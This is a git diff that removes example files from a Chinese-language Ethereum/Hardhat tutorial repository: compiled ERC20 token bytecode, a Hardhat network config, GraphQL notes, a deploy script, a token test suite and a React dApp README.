60405180910390f35b6104b0610ce6565b6040516104bd9190612d3c565b60405180910390f35b6104e060048036038101906104db919061236e565b610ced565b6040516104ed9190612d21565b60405180910390f35b610510600480360381019061050b919061236e565b610dd8565b60405161051d9190612d21565b60405180910390f35b610540600480360381019061053b91906123aa565b610df6565b60405161054d9190612fd9565b60405180910390f35b61055e610e1a565b60405161056b9190612d3c565b60405180910390f35b61058e600480360381019061058991906123d3565b610e3e565b005b6105aa60048036038101906105a591906122e3565b610e72565b6040516105b79190612fd9565b60405180910390f35b6105c8610ef9565b6040516105d59190612d3c565b60405180910390f35b60007f5a05180f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480610651575061065082610fb8565b5b9050919050565b60606005805461066790613202565b80601f016020809104026020016040519081016040528092919081815260200182805461069390613202565b80156106e05780601f106106b5576101008083540402835291602001916106e0565b820191906000526020600020905b8154815290600101906020018083116106c357829003601f168201915b5050505050905090565b60006106fe6106f7611032565b848461103a565b6001905092915050565b6000600454905090565b600061071f848484611205565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061076a611032565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156107ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e190612e79565b60405180910390fd5b6107fe856107f6611032565b85840361103a565b60019150509392505050565b6000806000838152602001908152602001600020600101549050919050565b610833828261147e565b6108588160016000858152602001908152602001600020610f2b90919063ffffffff16565b505050565b60085481565b6000600760019054906101000a900460ff16905090565b61088482826114a7565b6108a9816001600085815260200190815260200160002061152a90919063ffffffff16565b505050565b60006109506108bb611032565b8484600360006108c9611032565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461094b9190613036565b61103a565b6001905092915050565b61098b7f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a610986611032565b610bea565b6109ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c190612df9565b60405180910390fd5b6109d261155a565b565b610a057f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6610a00611032565b610bea565b610a44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3b90612e99565b60405180910390fd5b610a4e82826115fc565b5050565b610a63610a5d611032565b82611751565b50565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000610ad983610ad4611032565b610e72565b905081811015610b1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1590612eb9565b60405180910390fd5b610b3283610b2a611032565b84840361103a565b610b3c8383611751565b505050565b610b727f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a610b6d611032565b610bea565b610bb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba890612f39565b60405180910390fd5b610bb961191e565b565b6000610be282600160008681526020019081526020016000206119c190919063ffffffff16565b905092915050565b600080600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b606060068054610c6390613202565b80601f0160208091040260200160405190810160405280929190818152602001828054610c8f90613202565b8015610cdc5780601f10610cb157610100808354040283529160200191610cdc565b820191906000526020600020905b815481529060010190602001808311610cbf57829003601f168201915b5050505050905090565b6000801b81565b60008060036000610cfc611032565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610db9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db090612f59565b60405180910390fd5b610dcd610dc4611032565b8585840361103a565b600191505092915050565b6000610dec610de5611032565b8484611205565b6001905092915050565b6000610e13600160008481526020019081526020016000206119db565b9050919050565b7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a681565b610e4882826119f0565b610e6d816001600085815260200190815260200160002061152a90919063ffffffff16565b505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b7f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a81565b610f278282611a19565b5050565b6000610f53836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611af9565b905092915050565b610f66838383610fb3565b610f6e610a66565b15610fae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa590612fb9565b60405180910390fd5b505050565b505050565b60007f7965db0b000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061102b575061102a82611b69565b5b9050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a190612f19565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561111a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111190612e19565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111f89190612fd9565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611275576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126c90612ef9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112dc90612d99565b60405180910390fd5b6112f0838383611bd3565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611377576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136e90612e39565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461140c9190613036565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114709190612fd9565b60405180910390a350505050565b6114878261080a565b61149881611493611032565b611be3565b6114a28383611a19565b505050565b6114af611032565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461151c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151390612f79565b60405180910390fd5b6115268282611c80565b5050565b6000611552836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611d61565b905092915050565b611562610a66565b6115a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159890612db9565b60405180910390fd5b6000600760006101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa6115e5611032565b6040516115f29190612d06565b60405180910390a1565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561166c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166390612f99565b60405180910390fd5b61167860008383611bd3565b806004600082825461168a9190613036565b9250508190555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546116e09190613036565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117459190612fd9565b60405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156117c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b890612ed9565b60405180910390fd5b6117cd82600083611bd3565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611854576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184b90612dd9565b60405180910390fd5b818103600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008282546118ac91906130e6565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119119190612fd9565b60405180910390a3505050565b611926610a66565b15611966576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195d90612e59565b60405180910390fd5b6001600760006101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586119aa611032565b6040516119b79190612d06565b60405180910390a1565b60006119d08360000183611ee7565b60001c905092915050565b60006119e982600001611f38565b9050919050565b6119f98261080a565b611a0a81611a05611032565b611be3565b611a148383611c80565b505050565b611a238282610bea565b611af557600160008084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611a9a611032565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b6000611b058383611f49565b611b5e578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050611b63565b600090505b92915050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b611bde838383610f5b565b505050565b611bed8282610bea565b611c7c57611c128173ffffffffffffffffffffffffffffffffffffffff166014611f6c565b611c208360001c6020611f6c565b604051602001611c31929190612ccc565b6040516020818303038152906040526040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c739190612d57565b60405180910390fd5b5050565b611c8a8282610bea565b15611d5d57600080600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611d02611032565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b60008083600101600084815260200190815260200160002054905060008114611edb576000600182611d9391906130e6565b9050600060018660000180549050611dab91906130e6565b9050818114611e66576000866000018281548110611df2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154905080876000018481548110611e3c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001819055508387600101600083815260200190815260200160002081905550505b85600001805480611ea0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b600190038181906000526020600020016000905590558560010160008681526020019081526020016000206000905560019350505050611ee1565b60009150505b92915050565b6000826000018281548110611f25577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154905092915050565b600081600001805490509050919050565b600080836001016000848152602001908152602001600020541415905092915050565b606060006002836002611f7f919061308c565b611f899190613036565b67ffffffffffffffff811115611fc8577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015611ffa5781602001600182028036833780820191505090505b5090507f300000000000000000000000000000000000000000000000000000000000000081600081518110612058577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053507f7800000000000000000000000000000000000000000000000000000000000000816001815181106120e2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535060006001846002612122919061308c565b61212c9190613036565b90505b6001811115612218577f3031323334353637383961626364656600000000000000000000000000000000600f861660108110612194577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b1a60f81b8282815181106121d1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600485901c945080612211906131d8565b905061212f565b506000841461225c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161225390612d79565b60405180910390fd5b8091505092915050565b600081359050612275816132a3565b92915050565b60008135905061228a816132ba565b92915050565b60008135905061229f816132d1565b92915050565b6000813590506122b4816132e8565b92915050565b6000602082840312156122cc57600080fd5b60006122da84828501612266565b91505092915050565b600080604083850312156122f657600080fd5b600061230485828601612266565b925050602061231585828601612266565b9150509250929050565b60008060006060848603121561233457600080fd5b600061234286828701612266565b935050602061235386828701612266565b9250506040612364868287016122a5565b9150509250925092565b6000806040838503121561238157600080fd5b600061238f85828601612266565b92505060206123a0858286016122a5565b9150509250929050565b6000602082840312156123bc57600080fd5b60006123ca8482850161227b565b91505092915050565b600080604083850312156123e657600080fd5b60006123f48582860161227b565b925050602061240585828601612266565b9150509250929050565b6000806040838503121561242257600080fd5b60006124308582860161227b565b9250506020612441858286016122a5565b9150509250929050565b60006020828403121561245d57600080fd5b600061246b84828501612290565b91505092915050565b60006020828403121561248657600080fd5b6000612494848285016122a5565b91505092915050565b6124a68161311a565b82525050565b6124b58161312c565b82525050565b6124c481613138565b82525050565b60006124d58261300f565b6124df818561301a565b93506124ef8185602086016131a5565b6124f881613292565b840191505092915050565b600061250e8261300f565b612518818561302b565b93506125288185602086016131a5565b80840191505092915050565b600061254160208361301a565b91507f537472696e67733a20686578206c656e67746820696e73756666696369656e746000830152602082019050919050565b600061258160238361301a565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006125e760148361301a565b91507f5061757361626c653a206e6f74207061757365640000000000000000000000006000830152602082019050919050565b600061262760228361301a565b91507f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008301527f63650000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061268d60398361301a565b91507f45524332305072657365744d696e7465725061757365723a206d75737420686160008301527f76652070617573657220726f6c6520746f20756e7061757365000000000000006020830152604082019050919050565b60006126f360228361301a565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061275960268361301a565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006127bf60108361301a565b91507f5061757361626c653a20706175736564000000000000000000000000000000006000830152602082019050919050565b60006127ff60288361301a565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b600061286560368361301a565b91507f45524332305072657365744d696e7465725061757365723a206d75737420686160008301527f7665206d696e74657220726f6c6520746f206d696e74000000000000000000006020830152604082019050919050565b60006128cb60248361301a565b91507f45524332303a206275726e20616d6f756e74206578636565647320616c6c6f7760008301527f616e6365000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061293160218361301a565b91507f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008301527f73000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061299760258361301a565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006129fd60248361301a565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612a6360378361301a565b91507f45524332305072657365744d696e7465725061757365723a206d75737420686160008301527f76652070617573657220726f6c6520746f2070617573650000000000000000006020830152604082019050919050565b6000612ac960178361302b565b91507f416363657373436f6e74726f6c3a206163636f756e74200000000000000000006000830152601782019050919050565b6000612b0960258361301a565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612b6f60118361302b565b91507f206973206d697373696e6720726f6c65200000000000000000000000000000006000830152601182019050919050565b6000612baf602f8361301a565b91507f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560008301527f20726f6c657320666f722073656c6600000000000000000000000000000000006020830152604082019050919050565b6000612c15601f8361301a565b91507f45524332303a206d696e7420746f20746865207a65726f2061646472657373006000830152602082019050919050565b6000612c55602a8361301a565b91507f45524332305061757361626c653a20746f6b656e207472616e7366657220776860008301527f696c6520706175736564000000000000000000000000000000000000000000006020830152604082019050919050565b612cb78161318e565b82525050565b612cc681613198565b82525050565b6000612cd782612abc565b9150612ce38285612503565b9150612cee82612b62565b9150612cfa8284612503565b91508190509392505050565b6000602082019050612d1b600083018461249d565b92915050565b6000602082019050612d3660008301846124ac565b92915050565b6000602082019050612d5160008301846124bb565b92915050565b60006020820190508181036000830152612d7181846124ca565b905092915050565b60006020820190508181036000830152612d9281612534565b9050919050565b60006020820190508181036000830152612db281612574565b9050919050565b60006020820190508181036000830152612dd2816125da565b9050919050565b60006020820190508181036000830152612df28161261a565b9050919050565b60006020820190508181036000830152612e1281612680565b9050919050565b60006020820190508181036000830152612e32816126e6565b9050919050565b60006020820190508181036000830152612e528161274c565b9050919050565b60006020820190508181036000830152612e72816127b2565b9050919050565b60006020820190508181036000830152612e92816127f2565b9050919050565b60006020820190508181036000830152612eb281612858565b9050919050565b60006020820190508181036000830152612ed2816128be565b9050919050565b60006020820190508181036000830152612ef281612924565b9050919050565b60006020820190508181036000830152612f128161298a565b9050919050565b60006020820190508181036000830152612f32816129f0565b9050919050565b60006020820190508181036000830152612f5281612a56565b9050919050565b60006020820190508181036000830152612f7281612afc565b9050919050565b60006020820190508181036000830152612f9281612ba2565b9050919050565b60006020820190508181036000830152612fb281612c08565b9050919050565b60006020820190508181036000830152612fd281612c48565b9050919050565b6000602082019050612fee6000830184612cae565b92915050565b60006020820190506130096000830184612cbd565b92915050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b60006130418261318e565b915061304c8361318e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561308157613080613234565b5b828201905092915050565b60006130978261318e565b91506130a28361318e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156130db576130da613234565b5b828202905092915050565b60006130f18261318e565b91506130fc8361318e565b92508282101561310f5761310e613234565b5b828203905092915050565b60006131258261316e565b9050919050565b60008115159050919050565b6000819050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156131c35780820151818401526020810190506131a8565b838111156131d2576000848401525b50505050565b60006131e38261318e565b915060008214156131f7576131f6613234565b5b600182039050919050565b6000600282049050600182168061321a57607f821691505b6020821081141561322e5761322d613263565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6132ac8161311a565b81146132b757600080fd5b50565b6132c381613138565b81146132ce57600080fd5b50565b6132da81613142565b81146132e557600080fd5b50565b6132f18161318e565b81146132fc57600080fd5b5056fea264697066735822122028cc51b8c647f25551724c9979545883db4e83098e6e14fff43d46d50268556f64736f6c63430008000033",
-  "linkReferences": {},
-  "deployedLinkReferences": {}
-}
diff --git a/Example08-hardhat-graph/erc20 b/Example08-hardhat-graph/erc20
deleted file mode 160000
index a59529fee..000000000
--- a/Example08-hardhat-graph/erc20
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit a59529fee391ba05c670f8607f4146c2eff38a56
diff --git a/Example08-hardhat-graph/graphql.md b/Example08-hardhat-graph/graphql.md
deleted file mode 100644
index 381b63440..000000000
--- a/Example08-hardhat-graph/graphql.md
+++ /dev/null
@@ -1,15 +0,0 @@
-## Graph 介绍
-
-## graphql 语法
-
-GraphQL 的操作类型可以是 query、mutation 或 subscription，描述客户端希望进行什么样的操作
-
-query 查询：获取数据，比如查找，CRUD 中的 R
-mutation 变更：对数据进行变更，比如增加、删除、修改，CRUD 中的 CUD
-substription 订阅：当数据发生更改，进行消息推送
-
-
-## 参考链接
-https://graphql.cn/learn/ 
-https://chinese.freecodecamp.org/news/a-detailed-guide-to-graphql/
-
diff --git a/Example08-hardhat-graph/hardhat.config.js b/Example08-hardhat-graph/hardhat.config.js
deleted file mode 100644
index 1f3cf8cf1..000000000
--- a/Example08-hardhat-graph/hardhat.config.js
+++ /dev/null
@@ -1,63 +0,0 @@
-require("@nomiclabs/hardhat-waffle");
-const fs = require("fs");
-
-// This is a sample Hardhat task. To learn how to create your own go to
-// https://hardhat.org/guides/create-task.html
-task("accounts", "Prints the list of accounts", async () => {
-  const accounts = await ethers.getSigners();
-
-  for (const account of accounts) {
-    console.log(account.address);
-  }
-});
-
-// You need to export an object to set up your config
-// Go to https://hardhat.org/config/ to learn more
-
-function mnemonic() {
-
- return fs.readFileSync("./sk.txt").toString().trim();
-
-}
-
-/**
- * @type import('hardhat/config').HardhatUserConfig
- */
-module.exports = {
-  solidity: "0.8.0",
-  networks: {
-    localhost: {
-      url: "http://localhost:8545",
-      //gasPrice: 125000000000,//you can adjust gasPrice locally to see how much it will cost on production
-      /*
-        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
-        (you can put in a mnemonic here to set the deployer locally)
-      */
-    },
-    rinkeby: {
-      url: "https://rinkeby.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07", //<---- YOUR INFURA ID! (or it won't work)
-      accounts: [
-      mnemonic()
-      ],
-    },
-    kovan: {
-      url: "https://kovan.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07", //<---- YOUR INFURA ID! (or it won't work)
-      accounts: [
-        mnemonic()
-      ],
-    },
-    mainnet: {
-      url: "https://mainnet.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07", //<---- YOUR INFURA ID! (or it won't work)
-      accounts: [
-        mnemonic()
-      ],
-    },
-    ropsten: {
-      url: "https://ropsten.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07", //<---- YOUR INFURA ID! (or it won't work)
-      accounts: [
-        mnemonic()
-      ],
-    },
-  }
-};
-
diff --git a/Example08-hardhat-graph/package.json b/Example08-hardhat-graph/package.json
deleted file mode 100644
index dcab1ef92..000000000
--- a/Example08-hardhat-graph/package.json
+++ /dev/null
@@ -1,12 +0,0 @@
-{
-  "name": "hardhat-project",
-  "devDependencies": {
-    "@graphprotocol/graph-cli": "0.20.0",
-    "@nomiclabs/hardhat-ethers": "^2.0.2",
-    "@nomiclabs/hardhat-waffle": "^2.0.1",
-    "chai": "^4.3.4",
-    "ethereum-waffle": "^3.3.0",
-    "ethers": "^5.1.4",
-    "hardhat": "^2.2.1"
-  }
-}
diff --git a/Example08-hardhat-graph/scripts/deploy.js b/Example08-hardhat-graph/scripts/deploy.js
deleted file mode 100644
index 47fce80b6..000000000
--- a/Example08-hardhat-graph/scripts/deploy.js
+++ /dev/null
@@ -1,44 +0,0 @@
-// We require the Hardhat Runtime Environment explicitly here. This is optional 
-// but useful for running the script in a standalone fashion through `node <script>`.
-//
-// When running the script with `hardhat run <script>` you'll find the Hardhat
-// Runtime Environment's members available in the global scope.
-const hre = require("hardhat");
-
-async function main() {
-
-    const [deployer] = await ethers.getSigners();
-
-    console.log(
-        "Deploying contracts with the account:",
-        deployer.address
-    );
-
-    console.log("Account balance:", (await deployer.getBalance()).toString());
-
-    const Token = await ethers.getContractFactory("SimpleToken");
-    const token = await Token.deploy("HEHE", "HH", 1, 100000000);
-
-    console.log("Contract address:", token.address);
-    
-    const receiver = "0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266";
-    console.log("Transfer 50 to receiver ",receiver);
-    await token.transfer(receiver, 50);
-
-    // Check the balance of receiver
-    console.log("Account balance of receiver is: ", (await token.balanceOf(receiver)).toString());
-
-
-    // approve transfer to receiver
-    await token.approve(receiver, 1000);
-    console.log(`allowance of ${deployer.address} to ${receiver} is `, (await token.allowance(deployer.address,receiver)).toString());
-}
-
-// We recommend this pattern to be able to use async/await everywhere
-// and properly handle errors.
-main()
-  .then(() => process.exit(0))
-  .catch(error => {
-    console.error(error);
-    process.exit(1);
-  });
diff --git a/Example08-hardhat-graph/test/erc20-all-test.js b/Example08-hardhat-graph/test/erc20-all-test.js
deleted file mode 100644
index 9c7d88dda..000000000
--- a/Example08-hardhat-graph/test/erc20-all-test.js
+++ /dev/null
@@ -1,100 +0,0 @@
-const { expect } = require("chai");
-
-// `describe` is a Mocha function that allows you to organize your tests. It's
-// not actually needed, but having your tests organized makes debugging them
-// easier. All Mocha functions are available in the global scope.
-
-// `describe` receives the name of a section of your test suite, and a callback.
-// The callback must define the tests of that section. This callback can't be
-// an async function.
-describe("Token contract", function () {
-  // Mocha has four functions that let you hook into the the test runner's
-  // lifecyle. These are: `before`, `beforeEach`, `after`, `afterEach`.
-
-  // They're very useful to setup the environment for tests, and to clean it
-  // up after they run.
-
-  // A common pattern is to declare some variables, and assign them in the
-  // `before` and `beforeEach` callbacks.
-
-  let Token;
-  let hardhatToken;
-  let owner;
-  let addr1;
-  let addr2;
-  let addrs;
-
-  // `beforeEach` will run before each test, re-deploying the contract every
-  // time. It receives a callback, which can be async.
-  beforeEach(async function () {
-    // Get the ContractFactory and Signers here.
-    Token = await ethers.getContractFactory("SimpleToken");
-    [owner, addr1, addr2, ...addrs] = await ethers.getSigners();
-
-    // To deploy our contract, we just have to call Token.deploy() and await
-    // for it to be deployed(), which happens onces its transaction has been
-    // mined.
-    hardhatToken = await Token.deploy("HEHE", "HH", 1, 100000000);
-  });
-
-  // You can nest describe calls to create subsections.
-  describe("Deployment", function () {
-    // `it` is another Mocha function. This is the one you use to define your
-    // tests. It receives the test name, and a callback function.
-
-    it("Should assign the total supply of tokens to the owner", async function () {
-      const ownerBalance = await hardhatToken.balanceOf(owner.address);
-      expect(await hardhatToken.totalSupply()).to.equal(ownerBalance);
-    });
-  });
-
-  describe("Transactions", function () {
-    it("Should transfer tokens between accounts", async function () {
-      // Transfer 50 tokens from owner to addr1
-      await hardhatToken.transfer(addr1.address, 50);
-      const addr1Balance = await hardhatToken.balanceOf(addr1.address);
-      expect(addr1Balance).to.equal(50);
-
-      // Transfer 50 tokens from addr1 to addr2
-      // We use .connect(signer) to send a transaction from another account
-      await hardhatToken.connect(addr1).transfer(addr2.address, 50);
-      const addr2Balance = await hardhatToken.balanceOf(addr2.address);
-      expect(addr2Balance).to.equal(50);
-    });
-
-    it("Should fail if sender doesn’t have enough tokens", async function () {
-      const initialOwnerBalance = await hardhatToken.balanceOf(owner.address);
-
-      // Try to send 1 token from addr1 (0 tokens) to owner (1000 tokens).
-      // `require` will evaluate false and revert the transaction.
-      await expect(
-          hardhatToken.connect(addr1).transfer(owner.address, 1)
-      ).to.be.revertedWith("revert SafeMath: subtraction overflow");
-
-      // Owner balance shouldn't have changed.
-      expect(await hardhatToken.balanceOf(owner.address)).to.equal(
-          initialOwnerBalance
-      );
-    });
-
-    it("Should update balances after transfers", async function () {
-      const initialOwnerBalance = await hardhatToken.balanceOf(owner.address);
-
-      // Transfer 100 tokens from owner to addr1.
-      await hardhatToken.transfer(addr1.address, 100);
-
-      // Transfer another 50 tokens from owner to addr2.
-      await hardhatToken.transfer(addr2.address, 50);
-
-      // Check balances.
-      const finalOwnerBalance = await hardhatToken.balanceOf(owner.address);
-      expect(finalOwnerBalance).to.equal(initialOwnerBalance - 150);
-
-      const addr1Balance = await hardhatToken.balanceOf(addr1.address);
-      expect(addr1Balance).to.equal(100);
-
-      const addr2Balance = await hardhatToken.balanceOf(addr2.address);
-      expect(addr2Balance).to.equal(50);
-    });
-  });
-});
\ No newline at end of file
diff --git a/Example09-hardhat-react/README.md b/Example09-hardhat-react/README.md
deleted file mode 100644
index 5c767fdc1..000000000
--- a/Example09-hardhat-react/README.md
+++ /dev/null
@@ -1,26 +0,0 @@
-## 前言  
-Dapp 开发中很重要的部分便是前端展示，本样例代码使用 hardhat 结合 react 和 MetaMask，演示如何开发 Dapp 前端页面，以及开发的基本流程及接口调用。 
-开发者需要具备 react 框架开发能力才能很好的理解样例代码.  
-
-## 操作步骤  
-1) 安装依赖  
-```sh
-npm install
-```
-
-2) 部署合约  
-```sh
-npx hardhat run scripts/deploy.js --network kovan
-```
-
-3) 启动 react
-```sh
-cd frontend
-npm install
-npm start
-```
-
-## 参考文档  
-https://github.com/Fankouzu/smart-contract/tree/master/Solidity%20Lesson%2005   
